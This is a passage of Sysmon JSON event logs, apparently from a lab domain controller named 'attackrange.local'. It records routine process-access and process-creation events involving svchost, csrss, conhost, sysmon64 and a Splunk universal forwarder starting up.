{90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1748,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1749,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1750,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1751,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nTargetProcessId: 4072\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","TargetProcessId":"4072","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1752,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.122\r\nProcessGuid: {90617006-3FE6-5F2D-0000-0010E5150300}\r\nProcessId: 4092\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" generate-ssl\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nParentProcessId: 4072\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.122","ProcessGuid":"{90617006-3FE6-5F2D-0000-0010E5150300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" generate-ssl","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","ParentProcessId":"4072","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1753,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nSourceProcessId: 4072\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010E5150300}\r\nTargetProcessId: 4092\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1803d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","SourceProcessId":"4072","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010E5150300}","TargetProcessId":"4092","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1803d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1754,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010E5150300}\r\nTargetProcessId: 4092\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010E5150300}","TargetProcessId":"4092","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1755,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1756,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: 